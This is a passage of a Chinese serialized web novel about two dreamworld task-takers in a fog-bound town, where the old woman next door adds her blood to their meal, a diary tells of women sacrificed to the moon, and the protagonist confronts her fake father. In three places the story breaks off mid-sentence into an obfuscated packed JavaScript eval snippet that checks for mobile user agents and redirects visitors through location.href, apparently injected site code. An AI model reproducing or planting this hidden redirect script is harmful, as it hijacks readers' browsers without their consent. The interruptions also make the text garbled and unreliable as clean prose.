昨晚连钰躺在床上,在左心口摸到了一块突起,之后她在月光下查看,发现是一块血渍一样的印记。起初,她以为是月光所致,今早她又看了一遍,印记仍然是血的颜色。 整个图案呈不规则形状,像是枪子射进胸膛,溅起的一朵花。 连钰拨弄粥的动作大概是让梁父看不顺眼了,他终于开口,一张嘴就是教训。 “要吃就吃,别搅来搅去的。” 连钰心中冷笑。谁搅和了?自己这一碗是最后盛的,梁父那碗是一早就盛好等他张嘴吃的,能一样吗?又不是你女儿管那么多。 “很烫。要不爸你吃我这碗?” 梁父一下子被憋住,一言不发,闷闷地吃完早饭后就出门。 连钰也不知道这老登一天到晚干什么,看上去就是个闲汉,还爱多嘴,也就梁母能受得了。不过她懒得插嘴,这毕竟是梁家的事,不是她这个假女儿能多嘴的。 说到女儿,真正的梁玉去哪了? 如果梁玉因为某种原因去世,这家人又为什么找自己这个替代品,现在连表面的关心也不装。 连钰左思右想,觉得只有一个可能。 梁玉没有死,而她的确是梁玉的替代品。这家人现在不装,要不是因为自己的印记——刚才梁父憋了半天憋不住才教训一句,被怼后也没发火,自己硬憋气。要不就是因为,连钰伪装成梁玉的日子的不多了,她很快就不在这个家待着,梁家人自觉没有必要伪装。 连钰慢悠悠吃完饭,吃完后发现梁锦和梁母竟然默默坐在原位等她吃完。 “抱歉,我吃得太慢了。” 梁锦摇摇头,指了指连钰的身后——那是梁家大门的方向。 “姐,外面有声音,你要不去看看?” 连钰放下碗筷,从善如流地出门。目前来看,梁锦说话做事,和路远有相似之处,都在或多或少协助连钰发现规则找寻线索。妹妹说的话,她还是会听的。 连钰一出门,门前石板路上挤着的人约定好似的齐刷刷回过头,各色的表情像打翻的颜料凝固在调色盘上一样在他们的脸上粘牢了,过了一会儿,见连钰踏出梁家门,毫无所知般走进他们中间,众人才回过神似的表情生动些。 连钰经历过昨晚的惊吓,对于周围居民的奇怪之处已经没有太大感觉。然而,等她将目光移向人群中间时,她还是忍不住“嚯”了一声。 精彩,实在精彩。 刚出门疑似逛街消食的梁父和隔壁邻居打了起来,一人骑在另一人身上挥拳,很快被身下的人翻开。只可惜,两人打架实在不是高手,又因气质并不出众,缺乏观赏性。 连钰注意到对面人群里的路远,不由得乐了。他们这两个参展选手的“孩子”心有灵犀地站在一旁观战,毫无帮忙的意思。 太孝了。 不过这并不让连钰意外。毕竟这俩大叔也没把他们当亲孩子,甚至暗地里要害死他们也说不准。 让连钰有些诧异的是小镇居民的态度。 周围人既没有看热闹的嘲讽表情,也没有好心肠拉架的,他们只是沉默地看着。这种情绪的凝固和地上扭打在一起的喧哗对比之下,更显滑稽。 路远和连钰对视一眼,确认看够热闹后,大步上前,凭借自己的格斗技巧和经验轻松拉开两个气喘如牛的中年男人。 “梁叔叔,要是有什么矛盾说清楚也好,只是打架没有用。我们两家也是多年邻居……”路远临时想出的劝架发言显然不能让梁父满意。 梁父“呸”了一声:“你算什么东西来教训我?你爸……你爸违背了约定!” 连钰注意到周围人的脸色在听到“约定”二字时有所变幻。 路父丝毫不慌,整了整自己的衣领开口:“我可没有。具体的事,镇长自有定夺。” 听到路父提镇长,围观群众的脸色归于平静,最后竟像是约好了三三两两散去,只剩一个阿婆站在原地。 连钰冷眼旁观,更觉得这一切带有隐喻。 一个梦是有限的。或许不是所有出现的人都具备人该有的样子。 这些居民的怪异表现说明的是镇长的绝对权威和所谓约定的重要性。 看着两个中年男人的模样,她突然有所想法。毕竟能让梁父情绪波动如此大的事情应当没有多少,或许与真正的梁玉有关。 “路叔叔,听说路远有媳妇了,怎么不带出来给大家见见?” 梁父往回走的步伐停住,最后阴冷的眼神竟是停在了连钰身上。 “路家是有媳妇,不过身体不适,歇在家里了。” 路叔叔眯起眼睛瞅了连钰一眼后笑答,说罢就一脸不想和你们多说的表情回了路家小院,而梁父没有追上去,只是仍然死盯着连钰的脸庞,像要用眼神挖个洞出来。 连钰丝毫不惧。梁父这样的反应恰好印证了她的猜想。 就在两人僵持之时,一直站在原地的阿婆稳稳地走上前,轻轻推了梁父一把,示意他回去,之后转过头笑呵呵地对连钰说:“小姑娘,来我家坐坐吧。” 连钰发现梁父顺着陌生阿婆的意思回去后挑起眉毛,同样对阿婆回以笑容。 “好呀。” 阿婆满意地点头,转身朝梁家对面的小屋走去。原来她是住对面的邻居。 如果是住对面,或许这阿婆昨晚上知道些什么。 连钰带着能够找到新线索的期待跟着阿婆走进长满蔷薇的院子,谁料路远也跟了进来。 傻大个大概是没想到借口,就硬杵着,阿婆带着种难言的表情看了半天,默许他进来。 进屋后,阿婆招呼他们坐下,自己进厨房捣鼓。 “我这儿有今年的新茶,给你们尝尝。” 茶? 连钰来到这个梦境后只能在固定的小镇场景里活动,路远没有带她去的地方,远远看去只有浓雾,甚至看不清远方是否有山。这个地方能有新茶? 片刻后,阿婆用盘子端出茶壶茶杯,稳稳当当沏上三杯茶。连钰低头一看,茶杯里漂浮着晒干的白色花苞。 她不了解植物,看不出是什么花。 “哎呦!” 刚坐下的阿婆身子一歪,差点滑到地板上,连钰一惊下意识扶住她。 头发已经白了的阿婆心有余悸,坐好后道:“你们年轻人坐着就好好坐,脚不要乱动,差点把我这个老婆子踢倒了。” 连钰默默望向对面的路远,路远脸一红,对阿婆说了声抱歉,然而同时连钰也被踹了一脚。 连钰:? 路远低头装作变乖,双手捧着茶杯但没有喝,只是死死盯着茶水。连钰再次低头,杯子里的茶水很香,然而漂浮的白色花苞让她联想到前几天路远所说的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715207|139462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白色小花。 路远说,别摘白花,就是很常见的那种。 看他的样子,是茶杯里的这种? 确实看不出特别。 连钰放下杯子,说:“刚喝了一-大碗粥,不渴。” 阿婆笑眯眯道没事,自己呷了一口。 然而坐着的两个年轻人还是没有动静,只是一起盯着她。阿婆笑容一僵,自顾自地说起茶水多香如何如何,两个年轻人还是没有反应。 连钰有些想救场,主要是还想套点话,可惜一时半会没找到话题,毕竟阿婆聊的这个茶,她不敢喝,也没见过。 一直显着不会说话的路远这回倒是主动开口,大约是想了很久终于想到了借口。连钰听他清嗓,心下舒一口气,然而这口气还没吐完就憋住了。 “咳咳,阿婆……您知道我爸和梁叔叔的矛盾的是怎么回事吗?” 连钰心中狂汗,这么直白吗。 阿婆笑容一凝,给自己又添了杯茶。 “就是他们说的约定。” “约定什么了?”路远追问。 “……梁大在你爸那寄放了什么,你爸大概是没保管好吧。” 连钰没想到这小子直接问倒还真让阿婆一时半会想不出搪塞的话,半真半假似的透露点什么。 连钰趁势而上:“那要是路叔叔不小心弄坏了那样东西,的确是他的不对,他还这个态度,难怪我爸生气。” 阿婆渐渐恢复老神在在的笑容:“他可不是不小心。” 不是不小心,那就是有意为之,更甚者,毫不在意梁父的反应。 连钰和对面的路远对视一眼,两人心中都有所计较。 路父的地位比他们之前预想的还要高。两个男人争的东西或许和路远负责送的东西有关? 阿婆见两个咄咄逼人的年轻人终于消停,偷偷松一口气,主动站起身走向厨房。 “你们早上都喝粥,怕是吃不饱吧。粥就是喝个水饱。我给你们做吃的。你们梁家大人吵架拌嘴,你们正好就在这儿吃。” 阿婆叨叨一堆,听起来似乎很有道理,恰好两人也不想走,索性坐在原位等着阿婆忙活。 很快,厨房里传来乒乒乓乓的声音,连钰倒吸一口气,心想阿婆怕不是连过年的腊肉都拖出来切两块给他们尝尝,这架势有点大啊。 就算她没做过饭,她也见过。梁母的动静可没这么大。 “你们在外面喝喝茶,安心等着。” 大概是想着两个人在外面等着没事干,阿婆又主动说起小镇上的事儿。只是听来听去没什么意思,左不过家长里短。 什么谁家媳妇生了两个女儿才得男,谁家儿子二十来岁不能干活不如个姑娘。 听着听着,连钰觉得那股味儿又冲上头。 这熟悉的配方。阿婆和路父如出一辙,只不过一个嘴碎念叨,一个眼神邪恶,表达方式不同罢了,本质还是一方水土养出的同样的人。 连钰已经习惯这个镇子的丑陋,只觉得阿婆这样说话,不是不知道他们不喜欢,而是想要拖延时间。 连钰朝路远打了个手势,两人配合有素,路远坐在原地突然夸起茶水透亮确实香,连钰则踮着脚,有惊无险地避开会吱呀作响的木板。她刚刚观察过阿婆走路,记住了几块会响的地方。 接着,她躲在厨房门旁边,从挂着的两块白布中间的缝隙望去。 只见嘴巴里念个不停的阿婆手上动作也不停,竟是在这么短的时间切好了菜。 接着,讲述着八卦的阿婆一边笑着一边伸-出左手,面不改色地划下。 鲜血瞬间流出。 “阿婆给你们做饭,你们就留在这儿吧。” 39. 迷雾小镇(9)阿婆饭 连钰屏息,眼睁睁看着阿婆在灶上的大锅里放入自己的血液。在厨房咕嘟咕嘟的水声和温暖的灶火旁,阿婆甚至面带微笑,时不时哼上一两句小调,举动自然得就像是在正常做饭。 她悄悄原路返回自己的位置,对路远比划了下自己的胳膊,路远通过动作意识到阿婆在厨房给他们准备的饭菜里“加料”。 路远摇了摇头。连钰看得一脸懵,光摇头是啥意思,她知道不能吃阿婆给的饭菜。 路远看出她的疑问,作出口型道:“看看她为什么这么做。” 连钰了然。 阿婆不会无缘无故划伤自己给他们加料。他们之间显然没有牵扯,甚至直到今天,他们才和阿婆说上话。 婆婆这么做,说明婆婆自己的身份不一般,所以他们之间没有恩怨,也要用特殊手段暗害连钰这样的任务者。而阿婆加入自己的血液,应该也和阿婆的身份有关,她的血液有一定特殊作用。 喝了她的血,会怎么样? 两人沉默坐在桌旁。阿婆大约也是说累了,一时半会实在找不到话讲,终于停了扰人的八卦,厨房里偶有乡间小调飘至外间,听得人昏昏欲睡。 “饭菜好了,快尝尝。” 阿婆的一声轻笑惊醒连钰。她一抬头发现刚才路远也睡着了。 他们睡过去的时间里,阿婆已经做好了饭菜,一盆猪骨汤和两碟子炒菜。此时阿婆刚端完最后一盘,正笑眯眯看着趴桌上的女孩。 连钰收回目光,暂时不想和阿婆对着干。刚才阿婆哼的曲子一定有问题。这种无知无觉就让她陷入疲惫的手段让她颇有些忌惮。阿婆明明能让他们掉入任人宰割的境地,目前为止展现的方式却相比而言格外“温和”,更让连钰有所怀疑。 对面的路远也意识到不对劲,主动接过阿婆拿好的碗筷,殷勤地盛好饭。 “阿婆,您先吃。”路远憨厚地笑笑,给阿婆夹了一筷子炒空心菜。 连钰张张嘴又闭上,想说有问题的是汤,菜不一定加了血。 就在她也想采取行动时,阿婆很自然地吃了路远夹的菜,道:“你们也吃。看你们累的,都趴桌上睡着了。多吃些。” 说完,阿婆不等连钰和路远回话,自己盛了两勺汤,自顾自地喝起来。 “这骨头汤,我从昨天炖的。正好你们有口福了。” 阿婆喝得很香。猪骨汤炖出奶白的颜色,和山菌混合的香气直往人鼻子里钻。 但是再香,里头也有阿婆的血液,让连钰有心理阴影,闻着闻着甚至有些反胃。 “丫头,怎么不吃?”阿婆放下空了的碗,看向连钰未动的筷子,“你瞧小伙子就是能吃,你不吃,就给他吃完咯。” 连钰听后猛地一抬头,发现路远竟然真的吃了菜,刚刚咀嚼完,现在甚至已经在吹碗里的汤。 她急得一踢,路远上身往前一晃,愣是没抬头看她,直接喝下吹凉的骨头汤。 这个人怎么这么大胆的? 连钰心里又诧异又气,觉得对方和上个梦境里的队长表现得有些不一样,同时完全记不起来自己远比路远更喜欢作死。 路远稳稳喝完一-大口后先望向阿婆,甜甜地对阿婆道了谢,夸对方手艺精湛,之后转向连钰说:“还好你不喜欢喝炖汤,正好便宜我。” 连钰皱着眉盯着路远的样子像是对对方的不满,然而只有她自己知道路远冒了多大风险。 路远又夹一筷子菜,和碗里刚蒸好的米饭一起送入口中。 “阿婆,您别管她。她口味叼,在家就是这不吃那不吃的。” 路远一句话看似埋怨连钰不领情,实则帮连钰解释了一番。虽然连钰觉得阿婆未必会全盘相信,但是维持了这桌子人的表面情,阿婆没法继续念叨一个不懂事的年轻人。 阿婆笑容淡了些,仿佛知道路远这话暗含的意思,一时之间没法装作长辈的姿态继续劝连钰吃饭。 连钰则看着对面路远真的吃上了,一筷接一筷,感觉这人已经不管不顾了。就算要知道阿婆放血液有什么作用,也没必要吃这么多吧。路大叔是不给他吃饭吗? 两个年轻人在让阿婆哑口无言之后就一个低头苦吃,一个盯着对方,让阿婆更是一口气梗在胸口顺不下去。 “你们……慢慢吃,”阿婆说了两个字后凝视了路远一眼,然后转身去厨房,“我去收拾一下。” 连钰眼瞅着阿婆完全进了厨房,之后响起声音才转向路远,压低声线说道:“你疯了?你不怕无法离开?” 阿婆说不定是和昨晚的白裙子一样诡异的存在,而这两位都有表示过让他们“留下来”的意愿。 路远不紧不慢地放下筷子,叹口气说道:“不必担心我。我们……不太一样。” 连钰一怔。也是,都是任务者,未必每个人的任务都一样。她是需要作死表演的倒霉蛋,不是探索梦境真相就是逃离古怪的小镇,但是队长未必和她一样。 仔细想想,如果一出戏剧里角色定位雷同,的确会让观众感到无趣。 连钰忍住没问对方的任务是什么。既然路远这么说,大概他不离开,不影响他的任务。 她再次将目光投向厨房。这次不知道老婆婆会端出什么来,温和的方法她不接受,对方可能要使出大棒。 可出乎她的意料,婆婆什么都没做,真的只是将厨房收拾好,之后出来也只是有意无意闲聊几句,甚至话里话外透露-出赶客的意思。 连钰:咋,把你家饭吃了,不乐意? 婆婆越是这样,连钰越觉得奇怪。这个镇子里的女性都给她奇怪的感觉,有的看起来天真单纯,有的懦弱不言,有的自相矛盾,还有的阴险蔫坏。 如果说男性的好坏明显得像白纸上的黑字,那女性的复杂就像是特殊墨水写就的字体,没有一定方法无法解读。 而月亮,本就是阴性。连钰觉得所谓被崇拜的月亮,绝对和镇子里的女人有关。从规则来看,镇子里的人的崇拜,不是出于纯粹的信仰,而是惧怕。 联想到女人的遭遇和镇子的风气,她已经猜测到部分梦境的由来。但是目前还不清楚怎么逃离。 连钰的思绪又开始疯狂翻滚,表面上则听从阿婆的话,站起身表示要离开。阿婆随后站起,连钰故意上前搀扶对方,感受了阿婆袖子下的肌肤。 没有伤口。 阿婆的伤口愈合了。 连钰心中有了盘算。 她背对着阿婆往外走,在要跨过门槛时,抓起墙上挂着的擀面杖,急速回身就是一棒。 阿婆应声倒下,额角渗出斑斑血迹。 路远没想到事情会这样发展,刚想说话就被连钰堵住。 “她和我昨晚遇到的女孩,应该是同类。” 路远表情一凝。昨晚他的确听见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13721206|139462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了声响,但由于路父的阻止,他没办法出去查看。 “昨晚的女孩肚子里钻出一个婴儿,流了一地血,却在最后连带着所有痕迹突然消失。而阿婆之前划伤的痕迹已经没有了。” 连钰一边往房屋深处走去一边继续说。 “而且,她们都是女人。女人在这个镇子里,很特殊。” “昨晚的白裙子女孩肯定没有死。或者说她本来就不算做纯粹的人类。既然她们很可能有关系,我们就找一找,这个房子里有没有别的痕迹。” 这会儿说话的功夫,路远已经跟着连钰扫视一楼无果,两人直接上了二楼。 路远无奈开口:“那你也没必要这么激进。” 连钰背对着他差点翻白眼:“明明是你更激进。而且,我怀疑我已经快没时间了。” 她简略地叙述自己被镇长发现差点被砍,回家后又在家门口遇见奇怪的女孩等等。 她总结道:“梦境里处处都是暗示,都是象征意味的隐喻。我认为我必须救出地底的女孩,知道镇长的秘密是什么,才能出逃。况且,离开镇子的方法应该只有镇长这样的身份才知道。” 路远听后,在连钰看不见的地方深深看了她一眼。 “没想到,你这么快就总结出规律。” “的确,任务者把完成任务的过程当成解梦,更容易通关。” “提示你一下,这个梦境属于简单程度,猜猜为什么?” 连钰正翻看卧室桌子上的物品,闻言开始思考。 她回忆了一下路远在两个梦境里的行为,不确定地开口。 “我们刚刚那样的对话,在上个梦境里不可行,在这里却可以。” “嗯……是因为,没有观众?” 路远这回是真的诧异,他递过去一本日记,说道:“没错。上个梦境里,有一个至高存在,力量太过强大,我无法确定祂何时不在观看我们。但这个梦境里的没有。” 他们对视一眼,都明白是为什么。 因为现在是白天。而此时,除了月亮,恰好无人观看。 连钰翻看起日记,发现是阿婆的记录后颇感兴趣,但是开头记载的都是琐事。没办法,她只好一页一页翻看,顺便讨论。 “关于月亮情绪变化,你有什么发现吗?” 路远摇摇头,发现对方根本不在看自己后只好说:“没有。” 连钰叹气。 “我倒是有个猜测,但是没法验证。目前来看,镇子里的女人很有问题,月亮一定程度象征女人。我曾经以为是被欺负的外乡人,比如我这样的。” “毕竟,月亮愤怒时我们出门完全没问题,除了在特定时间段遇上奇怪的女性。但是昨晚的女性又放过了我……她看起来,似乎是不完全的月亮的‘守卫’?” 路远及时打断道:“那你又为什么不敢确定?” “因为,崇拜的对象都需要祭品。地底下的女人一直被束缚于地底,很可能是祭品。而我,也可能是梁家真正大女儿的替代品。” “如果祂对女性包含善意,就不会如此。尽管目前来看,祂似乎乐见我保护女性,不然在镇长家,我也不会逃出来。可见,祂很矛盾。” 路远沉吟片刻,抛出一个让连钰有些恍然大悟的说法。 “既然这个梦境的女性是复杂的,月亮代表女性,就可以是她们意识的集合体。” 40. 迷雾小镇(10)躲猫猫 “所以,月亮的情绪其实某称程度上反映的是镇子里所有女性的意识。” 连钰翻动着日记本,跳过不必要的琐碎,给出自己的想法。 “月亮的情绪会变化,对应的是女性集体意识的波动。” 连钰翻完了整本日记没有收获,合上日记。 “现在的问题是,月亮的情绪具体对应的是哪一种女性的态度。昨天晚上,月亮是愤怒状态。白裙子女孩行为矛盾但最终没有杀死我,可能是因为昨晚的愤怒来自像我一样被害的女人。” 路远静静地注视正在分析的女孩,没有打断对方。 “既然镇子强调规则,那么月亮情绪的变化应当也有规则。我当初在地底下想要救出那个女人,最终镇长因为地底树的变化,没有追上我……或许,我的选择救了我自己。” 连钰越想越觉得自己接近真相。 “同理,镇子里其他女人的行为都如往常,只有我作出了改变。月亮的变化是因我而起。只要我坚定救出被束缚的女人,月亮很可能会站在我这边,不会对我造成太大伤害。” 她会想起一开始自己躺在阁楼的小床上,月光下自己奇异的感受。 从那时起,月亮就在关注自己。 连钰一通分析后,路远终于开口。 “你说的应该就是隐藏的规则。现在,我们要做的就是找出离开镇子的办法。不然,你救出那个女人,也没有去路。” 连钰点头,看见对方抽走自己手里的牛皮本。路远掂了掂笔记本,摩-擦纸张感受厚度后,从桌上拿起裁纸刀裁开日记的最后几页。 隐藏页上赫然写着阿婆不愿意让人看见的记录。 xx年xx月xx日(具体的日期都模糊不清,墨水晕染开让人无法辨别) 镇长的女儿竟然死了。她怎么可以死? 每一代镇长家的女人都必须在镇长轮换时成为月亮的祭品,否则,月亮的愤怒就无法抑制。 镇长真是老糊涂,竟然让小丫头掉下河淹死了。连个女孩都看不住。 连钰眉头一皱。阿婆这里所说的镇长肯定不是她所见到的那位,年龄对不上。 xx年xx月xx日(时间同样被隐去) 祭品没了,月亮的愤怒无法平息,每晚都不能出门。必须找到合适的祭品。外乡人可配不上。大家都瞄准了梁家的大女儿。梁玉这孩子,从小就娇惯坏了,天天带着她妹妹撒野,不干活就知道画画。 现在,也算有她的用处了。 连钰心一紧。那个颇有画画天赋的女孩已经死了?不对,梁家人是把自己当女儿替身,又态度冷漠,明显是要她去替真正的梁玉送死。 xx年xxxxxx。(时间更加模糊) 那个外乡人竟然让月亮青睐。镇子里的人可算能出门松快松快。梁家也算是走运。 看到这,连钰已经将事件串连起来。 外乡人是她。她醒来的第一晚,月亮是微笑的。 一开始定的祭品大概是前任镇长的女儿,后换成梁家女儿。梁家用了某种手段让自己失忆,顶替梁玉,梁玉……大概是被藏在了路家。梁父今天的异常与路父做的事情有关。 连钰确认没有遗漏的隐藏页后将日记本放回原处。 路远在一旁读完了内容,不等连钰提问就道:“我知道你想问什么。” 他叹了口气,说:“我身份上的父亲所说的给我找的媳妇,或许就是梁玉。梁玉被他霸占,现在下落不明。” 连钰心神一紧,有了种可怕的猜想。 “你见过梁玉吗?她有什么特征?” 路远答:“我刚醒来的那一天见过一次。她和你差不多高,皮肤白,身形较瘦……” “你说的这些很难让人认出来谁是梁玉。那她当时的穿着是什么?” 路远想了想,脸色逐渐发白。 “是白裙子。” 昨晚行为矛盾的女孩是梁玉。 连钰沉默半晌,艰难地开口道:“那她大概是离不开镇子了。” 变成那样奇异的状态的梁玉,随着时间流逝,应当会成为月亮的“守卫”。从梁玉的话语和婆婆的行为来看,守卫所代表的大概是集体意识里阴暗的那部分。 “今晚,我会确认梁家的女人有没有异常。或许,这个镇子里的女人几乎都是‘守卫’。” 连钰还想要说话,被路远迅速捂住嘴。她顺着路远的目光看去,眼睛瞬间睁大。 窗外,赤白的日光不知何时褪-去,淡红色从天际蔓延,在一刹那笼罩住整个镇子。 月亮已经出现。时间的流逝变快了。 “走。” 路远拉着连钰蹬蹬下楼,走到门口时他突然停下,让连钰先回家。 “我知道阿婆为什么掺入自己的血液了,”他无奈一笑,“现在的我对于红色的月光有着本能的恐惧。大概,她的血让月亮认为我和镇子里其他人没有区别。” 连钰急道:“那你现在怎么办?阿婆随时都会醒。”毕竟时间流逝都加速了,守卫愈合伤口应该也会加速。 “我找个地方藏起来,你先回去。” 连钰无奈之下只好离开阿婆的屋子。 果然,血红的月色下连钰行动完全没有受到阻碍。随着连钰一直选择救赎被束缚的女性,月亮集体意识里的善意被唤醒得越来越多。 待到她走到梁家的门口,她有所迟疑,没有立即进去。 这一天时间流逝太快,她不确定镇子里的人是否能感受到差异。在梁家人的眼里,她大概是一整天都没有着家,选择大概对作为替代品的她非常不满。 连钰贴在门上,听见里面梁父骂骂咧咧的,指挥其他人早晚要找到连钰,看连钰什么时候回来。很快,一阵脚步声远去,连钰仔细辨别了一下,发现脚步声不是往上,反而像是往下。 地窖? 一楼有的角落连钰并没有仔细查看。这些天她经常出门,反而忽视了梁家的细节。 确认梁家人都进地窖后,连钰才进门,一进门就发现家里格外黑,窗户都蒙住了。她踮着脚上了楼。经过漆黑的二楼时她脚步停下,望向一侧的房间。 那是从来没见梁家人在她面前打开的房间。 或许和地窖一样,这个房间也有些特殊。 连钰轻轻拧开门把手,侧身进去。 这个房间的窗帘没有拉上,红色的月光流泻而进,让她能看清室内的摆设。 出乎她的意料,这个房间没有灰尘,甚至说得上十分整洁,就像是有人天天打扫。 清新的碎花床单、桌上刚换过的插花和空气里弥漫的清香都清楚地告知来者,这个房间的主人在爱意里长大。 不用说,这就是梁家大女儿的房间。 连钰本以为这个房间会有什么特殊,没想到是白裙子女孩的住处。想到梁玉挣-扎着对抗属于“守卫”的集体意识,再看眼前梁玉曾经拥有的爱意,顿时一阵唏嘘。 但她没时间感慨。 连钰简单扫视房间,发现桌上还有张画。打扫房间的人大概是想保持房间的原状,连铅笔都放在画旁没有动。 铅笔压着的是一幅全家福。内容朴素到三岁小孩都能画,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13725481|139462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是笔触很细腻,连梁锦和梁母衣摆的褶皱都很有层次感。连钰再往旁边一扫,梁母旁边站着的男人从穿着姿势俩看明显是梁父,但是奇怪的是,画上的梁父没有面庞。 是没来得及画完? 连钰本身不画画,但是直觉告诉她,这里不像是因为没有时间画完才空着,倒像是有意为之。 梁父……的确很讨人厌。但是梁玉出事后的愤怒也不是假装的。 梁玉和父亲的矛盾也有可能有别的缘由在。 连钰看完画,没发现其它特别之处,还想要看看房间里有什么,就听见楼梯下响起说话声。 “大丫头的房间窗帘没拉。” “现在这功夫拉什么窗帘。” “你不用管我,自己回去吧。” “你还不服管是不是。” 执着于拉窗帘的一听就是梁母,另一个不耐烦的则是梁父。 连钰有些慌乱。她本以为梁家人特意拉窗帘,是因为他们可能被射入房内的月光伤害,没想到不是。 情急之下,她想躲进衣柜,刚一打开就想到在镇长家的遭遇,又匆忙合上柜门。扫视一圈后无果,她将目光投向了窗帘。 门外的脚步声越来越近,直到木门吱呀一声被大力推开,谈话声飘进房间,要逼死人的寂静才被打破。 “现在真是说什么话都不听了。呐,之前就和你说过,该来的躲不掉,你也不听。现在好了,明知道我讨厌月……讨厌红色,还要上来拉窗帘!” 梁父比往日暴躁很多,平时的伪装被除去后,这就是个普通无能的男人。 被责骂怨怼的女人没有出声,用手轻柔抚平床单上的痕迹,之后又踱步至桌前看起了画。 就是这几秒钟的功夫,男人已经彻底被激怒。 “不是拉窗帘吗?怎么不拉了?现在干这干那的,你存心让我堵气。” 梁父走向床铺,一屁-股重重坐下,想了想又把脚敲在床尾。他今天一天都不顺,得知坏消息后告诉家里的女人,女人连午饭都没做,让他不得不自己蒸几个馒头吃。 等到晚上,又是红月。 他想着赶紧等白天把家里那替代品送去得了,再献祭一次,看看能不能让月亮消气。谁知道那姑娘跟大丫头一样野,晚上了还不回家。 他越想越觉得这次献祭搞不好还得砸。看着莫名其妙在屋子里转悠收拾东西的女人更觉得憋气。 一墙之隔的连钰听见梁父坐在床上的动静呼吸一窒。 她翻窗户躲在了二楼外侧的屋檐上。谁知道他们进来后没有立马拉窗帘,梁父更是距离她太近。 她的确想看看梁家的女人是否和梁玉以及阿婆一样是守卫,但是梁父的态度让她没敢第一时间出现,现在听他暴怒,更是心里没底。大概现在被梁父抓住,她今天晚上都没有离开的机会,等到明天就被献祭。 她继续凝神听屋内的动静,盼着对方赶紧走。 梁母大概是收拾完了,脚步声随之停下。梁父见状怒气冲冲地道:“好了吧?走不走?” “窗帘还没拉。”梁母平静地说。 “我拉不行吗?”梁父在床上,正好靠近窗户,翻身一把把窗帘拉上,溅起窗台上的灰尘。 梁母看着男人将床单蹭乱没吱声,等男人下床后,上前整理床单。 梁父气不打一处来,绕到床尾,俯下身故意按住梁母要整理的那一块。 连钰听着屋里的动静心跳如鼓,很快她发现,两人已经很久没有争吵,也没有脚步声。 她缓缓抬头,从窗帘的缝隙里,对上梁父眯起的眼睛。 41. 迷雾小镇(11)祭品 刹那间,连钰的呼吸被夺走。 在和梁父对视的那一刻,她不受控制地感到恐惧。这种恐惧来自于曾经她一个人上下学被尾随,来自于被男同学吹口哨,来自于她此时此刻身上笼罩的,小镇女人的集体意识。 在接收到她的恐惧后,梁父如同吸食恐惧的怪物一般愉悦地拉开嘴角,让自己平平无奇的面庞透出奇特的森冷,与血色的月光对映,显现出嘴角皱纹冰冷的质感。 连钰察觉到这种情绪的吸食后,反而冷静下来,恢复面无表情。梁父的愉悦也渐渐沉底,褪回原本暴怒、平庸又躁动的状态。 她淡淡收回目光,抓牢窗沿,翻了回去。梁母正僵硬着身躯整理床单,见到假女儿突然翻窗进来,胸膛缓慢地深深地起伏,好似叹了一口气。 “你去哪了?”梁父又开始伪装成爱说教的父亲,实则眼底暴露了自己的跃跃欲试。他习惯于躲藏在大家长的姿态后,看自己的猎物露-出慌乱的表情。 可惜连钰没有。 “我一直在对面阿婆家,我记得,是阿婆让您回来的,怎么,您不记得了?” 连钰的话险些戳破他的面具,他嘴角僵硬。 “这么晚了还不回家,当然要问问,”他避开连钰的反问,试图回到自己的问题,“好好在家待着,一天到晚乱跑,像个什么样子。” 一开始教训人,梁父又恢复了往日的自信。 “你跟我下来。” 梁父头也不回地往楼梯走。梁母早已抚平床单,呆在原地似乎不愿意起身。连钰拉起她的手,压低声音说道:“你知道你女儿的死因吗?” 梁母无法继续维持自己温文的面容,仿佛有了力气一般也朝外走去。 连钰最后下到了一楼。梁父已经在黑暗里等着了。在楼梯上就听见他盘核桃的声音,一进一楼,声音更加清晰,清晰到像在人的耳朵边摩-擦。 随着盘核桃声的鼓噪,连钰走到梁父面前停下,不等他开口,就直接发问: “你坦白梁玉的死因了吗?” 盘核桃声猝然停止。 “这与你无关!” 连钰冷冷一笑。刚才下楼的时候她就想好了,反正等到明天也是被梁父捆走弄死的命,不如今晚搅混水,获取更多的信息,这样她被送去祭祀,说不定还能找到离开的线索。否则,就是死路一条。 她慢条斯理地开口,十分冷静,衬托得梁父更加心虚。 “你都和路叔叔打一架了,还不知道个中经过?” 梁父到这时候已经反应过来,这小丫头就是要气死自己,他收敛了音量。 “姓路的不是好东西,害了我女儿。不过,事已至此,我女儿的命也换不回来。”到这里,他冷笑出声,试图给连钰压力,“我的女儿都被献祭了,你逃不过,也别想逃走。” 